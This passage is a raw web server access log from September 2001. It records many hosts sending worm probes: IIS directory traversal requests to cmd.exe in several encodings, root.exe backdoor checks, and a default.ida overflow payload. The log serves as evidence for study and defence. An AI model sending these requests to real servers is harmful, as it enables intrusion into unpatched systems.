/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 22:04:01: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:23: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:23: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:04:25: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:44: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:44: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:46: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:46: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:13:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:18:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:27:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:28:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:30:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:33:55: [128.134.72.167] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:36:40: [128.134.72.167] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:37:00: [128.134.72.167] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:22: [128.134.72.167] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:37:45: [128.134.72.167] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:38:04: [128.134.72.167] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:38:23: [128.134.72.167] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:38:46: [128.134.72.167] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:39:05: [128.134.72.167] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:39:27: [128.134.72.167] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:39:46: [128.134.72.167] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:40:06: [128.134.72.167] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:40:26: [128.134.72.167] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:40:45: [128.134.72.167] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:41:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 22:41:04: [128.134.72.167] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:41:26: [128.134.72.167] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:41:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 22:43:03: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:45:36: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:45:37: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:41: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:42: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:43: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:44: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:45: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:49: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:50: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:51: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:52: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:53: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:54: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:58: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:45:59: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:46:58: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 22:48:49: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 22:48:56: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 22:48:57: ns.kcci.or.kr 